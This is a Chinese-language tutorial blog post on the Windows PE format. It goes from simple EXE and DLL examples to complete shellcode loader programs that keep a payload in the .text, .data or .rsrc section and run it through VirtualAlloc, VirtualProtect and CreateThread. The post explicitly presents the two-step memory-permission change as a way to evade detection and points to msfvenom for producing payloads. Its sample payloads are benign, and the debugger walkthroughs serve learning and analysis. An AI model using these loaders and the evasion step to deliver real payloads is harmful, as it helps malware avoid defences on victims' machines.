PE(Protable Executable)
是Win32平台的标准可执行文件格式
.exe (executable)
文件是一个独立程序,无需依附其他程序,可以直接加载至内存中
.dll (Dynamic-link library)
动态链接库,不能独立存在于内存中,只用程序调用dll中的函数时,dll才会以模块的形式加载至指定进程中
生成一个PE文件通常需要两部分:
首先介绍个简单的例子:编写生成exe文件,c源代码如下
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
// 打印字符
printf("First PE file\n");
// 等待输入
getchar();
return 0;
}
使用cl.exe
编译器进行编译,编译命令如下
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
参数浅析:
@ECHO OFF 不输出消息
/nologo 取消显示登录版权标志
/Ox 使用最大优化
/MT 使用 LIBCMT.lib 创建多线程可执行文件
/W0 设置警告等级为0(默认为1)
/GS- 关闭缓冲区安全检查
/DNDEBUG 不生成调试信息
/Tc 指定源文件
/link 传递链接器选项
/OUT 指定输出文件名
/SUBSYSTEM 指定子系统
/MACHINE 指定架构
编译完成后执行文件,好吧第一个例子就是这么简单~
使用Process Hacker工具研究implant.exe进程基本属性,双击该进程查看详细信息。
General选项卡显示该进程的基本信息,如文件地址、文件类型等
Modules选项卡显示该进程加载至内存中所包含的所有dll文件
Memory选项卡显示了该进程的内存布局
更详细的信息将在之后的项目中逐渐分析
动态链接库(Dynamic-Link Library, DLL)也是PE格式的二进制文件,存放的是各类程序的函数。下面例子是简单生成dll文件的cpp源代码:
很明显不同的是,DLL文件入口函数为DllMain。当静态链接时,或动态链接时调用LoadLibrary和FreeLibrary都会调用DllMain函数。其次在DLL中,需要指定导出的符号(函数),可以由__declspec(dllexport)
关键字指定。在C++中,如果导出函数符合C语言的符号修饰规范,则需要在其定义前加上extern C
,防止C++编译器进行符号修饰。
#include <Windows.h>
#pragma comment (lib, "user32.lib")
// DllMain是DLL的标准入口点
// 参数fdwReason指明了系统调用Dll的原因
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
// 不同调用情况执行不同行为
switch (fdwReason) {
case DLL_PROCESS_ATTACH: // DLL初次映射至内存空间中
case DLL_PROCESS_DETACH: // DLL解除映射情况
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// 外部函数,可以由进程调用
extern "C" {
// 定义test函数
__declspec(dllexport) BOOL WINAPI test(void) {
// 弹出提示窗口
MessageBox(
NULL,
"spider",
"man",
MB_OK
);
return TRUE;
}
}
除了使用
__declspec
关键字指定导入导出符号之外,还可以使用.def
文件声明导入导出符号。.def
文件是链接脚本文件,用于控制链接过程。.def
文件的使用将在后面的篇章中提及
通过cl.exe编译出dll文件,编译命令略有不同:
cl.exe /D_USRDLL /D_WINDLL implantDLL.cpp /MT /link /DLL /OUT:first.dll
使用dumpbin命令行工具查看DLL文件基本信息
dumpbin /exports first.dll
/exports:导出dll文件所有信息
由于DLL文件不能独立执行,若要执行一个DLL就需要将其植入到一个进程中。
这里我们可以借助Windows中rundll32程序,调用DLL中的函数。例如要调用刚刚生成的first.dll文件中的test函数,使用如下命令:
rundll32 first.dll,test
通过ProcessHacker工具,可以在rundll32.exe程序的Memory和Modules中找到first.dll文件
双击可以查看first.dll文件详细信息
除了上述工具外,还可以结合PE-bear工具分析exe文件,进一步熟悉PE结构
选择打开calc.exe文件,位置:C:\Windows\System32\calc.exe
左边一栏显示文件的结构信息,可以很明显的看到头部信息(Headers)和段信息(Sections)
右边则是Header和Sections更详细的信息,例如查看段的头部信息(选择Section Header)
再如Resources,里面包含整个文件的资源信息(图标、版本、清单文件)
.reloc
段,包含重定位信息,用于Windows加载器对可执行文件进行地址修正
关于段,主要关注这三个重要的段.text
、.data
、.rsrc
此外,还可以使用dumpbin工具查看PE文件元数据信息
dumpbin /headers C:\Windows\system32\calc.exe
/headers:显示文件和每个段的头部信息
这里解释下shellcode和payload的区别,shellcode指的是获取得到shell一段代码,而payload指代就比较广泛,不仅仅包含shellcode,还包含触发其他行为的操作(如打开calc计算机程序),在本系列文章中,可能没有那么精确,就默认shellcode约等于payload,暂时不纠结那么多。
payload载入内存中一般存储于三处位置,.text
段、.data
段、.rsrc
段
Dropper指的是发送载荷给目标机器并执行的装置
在内存中运行payload需要几件事情:开辟内存缓冲区,复制payload到缓冲区,执行缓冲区
Win32API中提供了VirtualAlloc()
函数VirtualAlloc | Microsoft Docs,用于动态分配内存,声明如下:
LPVOID VirtualAlloc(
LPVOID lpAddress, // 区域起始地址
SIZE_T dwSize, // 分配区域容量
DWORD flAllocationType, // 分配区域类型
DWORD flProtect // 分配区域权限
);
本例调用如下:
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Win32API中提供了RtlMoveMemory()
函数,RtlMoveMemory | Microsoft Docs 用于将源内存块的内容复制到目标内存块,声明如下:
VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
VOID UNALIGNED *Source,
SIZE_T Length
);
本例调用如下:
RtlMoveMemory(exec_mem, payload, payload_len);
之所以不在初始开辟缓冲区时指定执行权限,主要为了绕过检测,同时具有可读可写可执行权限的缓冲区是十分可疑的,很容易被安全设备检测到。因此可以将其分为两步,先分配,在执行前修改执行权限。
Win32API中提供了VirtualProtect()
函数VirtualProtect | Microsoft Docs,用于修改已提交(COMMIT)页区域上的保护措施(权限),声明如下:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
本例调用如下:
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
做好之前的准备工作后就可以开始创建线程执行payload了。
Win32API中提供了CreateThread()
函数CreateThread | Microsoft Docs ,创建一个线程,并在调用进程的虚拟地址空间内执行,返回一个句柄。声明如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
创建了线程后需要执行,Win32API提供了WaitForSingleObject()
函数WaitForSingleObject function (synchapi.h) - Win32 apps | Microsoft Docs 用于执行线程,声明如下:
DWORD WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);
本例调用如下:
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// shellcode代码
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3 // RET
};
unsigned int payload_len = 4;
// 开辟内存缓冲区,分配可读可写权限
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 打印内存信息,用于调试分析
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
// 拷贝payload到新缓冲区
RtlMoveMemory(exec_mem, payload, payload_len);
// 赋予新缓冲区可执行权限
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
// 上述步骤都OK,执行payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
这里使用简单的shellcode便于分析进程本身
使用cl.exe
编译cpp源码
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64
执行implant.exe
,打印出内存地址信息
启动dbg进行调试,添加调试进程,选择File-Attach
,找到并选择implant进程。
将implant程序运行起来,按F9
或者右箭头
回到cmd窗口按回车运行下,dbg中程序已暂停,在程序代码窗口显示出了我们编写的shellcode
接着程序已经执行完了,我们现在的目标是找到shellcode的地址。选择Memory Map
窗口,右键查找字符串。
Address Data
000000B3BF4FF980 90 90 CC C3
000001BA8D520000 90 90 CC C3
00007FF644C3101E 90 90 CC C3
同之前打印出的调试信息一齐分析
payload addr : 0x000000B3BF4FF980
exec_mem addr : 0x000001BA8D520000
首先是第一处地址0x000000B3BF4FF980
,在Memory Map
中找到对应地址,查看相应的信息,是一块线程栈区,在Threads
窗口中也可以看到有一处线程被挂起了。
结合源代码,main函数会开辟栈区用于保存其局部变量,因此第一处地址指向main函数开辟的栈区空间
第二处地址0x000001BA8D520000
,其类型为私有内存空间,且初始权限为可读可写(RW),后面变为可读可执行(ER),恰好对应了源代码中的开辟缓冲区及修改执行权限。因此第二处地址指向新开辟的缓冲区空间
第三处地址0x00007FF644C3101E
,在Memory Map中很明显的可以看到其对应的是.text
段,即第三处地址指向shellcode注入至text段的地址空间
跟踪分析三个地址,找到对应信息。
源码大部分与.text段存储payload的类似,有一些不同:payload定义为全局变量,因此它将位于main函数之外
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 变化:payload定义为全局变量
unsigned char payload[] = {
0x90, // NOP
0x90, // NOP
0xcc, // INT3
0xc3 // RET
};
unsigned int payload_len = 4;
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
cl.exe
工具编译后执行,在dbg将implant.exe打开,执行起来(和上一部分步骤相同)
搜索shellcode字符,存在两处地址,一处指向上面分析的新开辟的缓冲区,另一处指向data段。
对于存储在.rsrc段的payload,程序运行时需要指定特定的API调用去获取资源信息以及提取出payload并执行,需要以下几个步骤:引入资源文件,提取payload,执行payload。
Win32API中提供了FindResource()
函数FindResourceA | Microsoft Docs,用于找到指定资源所在位置,返回资源句柄。声明如下:
HRSRC FindResourceA(
HMODULE hModule,
LPCSTR lpName,
LPCSTR lpType
);
本例调用如下:
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
LoadResource函数LoadResource | Microsoft Docs,返回句柄,用于获取内存中指定资源的第一个字节的指针。
HGLOBAL LoadResource(
HMODULE hModule,
HRSRC hResInfo
);
本例调用如下:
resHandle = LoadResource(NULL, res); // 返回内存中指定资源的句柄
LockResource函数LockResource | Microsoft Docs,返回指针指向内存中的资源,声明如下:
LPVOID LockResource(
HGLOBAL hResData
);
本例调用如下:
payload = (char *) LockResource(resHandle); // 返回指向payload的指针
SizeofResource函数SizeofResource | Microsoft Docs返回指定资源的大小,声明如下:
DWORD SizeofResource(
HMODULE hModule,
HRSRC hResInfo
);
本例调用如下:
payload_len = SizeofResource(NULL, res); // 返回payloal长度
这一部分的代码同.text段中存储payload一致,前面有详细的分析
这部分代码具有几点不同之处,payload没有直接给出,只作出了声明
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "resources.h"
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
unsigned char * payload;
unsigned int payload_len;
// 变化:从资源段中提取payload
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
RtlMoveMemory(exec_mem, payload, payload_len);
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
编译过程也与之前有所不同,需要用到三个工具:rc资源编译器、cvtres资源转换器、cl.exe编译器。
rc resources.rc
指令用于从resources.rc
文件中取出资源。该文件内容同如下,指定预处理文件resources.h和定义变量FAVICON_ICO,类型为RCDATA,值为calc.ico
// resources.rc
#include "resources.h"
FAVICON_ICO RCDATA calc.ico
resources.h
文件内容如下,定义了变量FAVICON_ICO,值为100
#define FAVICON_ICO 100
calc.ico则是我们生成一个payload文件,可以通过msfvenom工具生成。
cvtres /MACHINE:x64 /OUT:resources.o resources.res
指令将res文件转换为objiect文件(用于后续的链接工作)cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
将resources.o文件和源文件链接生成.exe文件编译命令集合为bat批处理文件:
@ECHO OFF
rc resources.rc
cvtres /MACHINE:x64 /OUT:resources.o resources.res
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o
编译并执行,打开dbg调试该程序,分别查看以下两个地址,对应新开辟的缓冲区和.rsrc段
payload addr : 0x00007FF606652060
exec_mem addr : 0x00000226BAA80000
在Hex窗口查看shellcode内容,右键Go to-Expression
或Ctrl+G
,输入地址
用同样的方法在反汇编窗口查看shellcode,添加断点,run起来
接着在命令窗口中回车下,启动了cala.exe程序
26 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!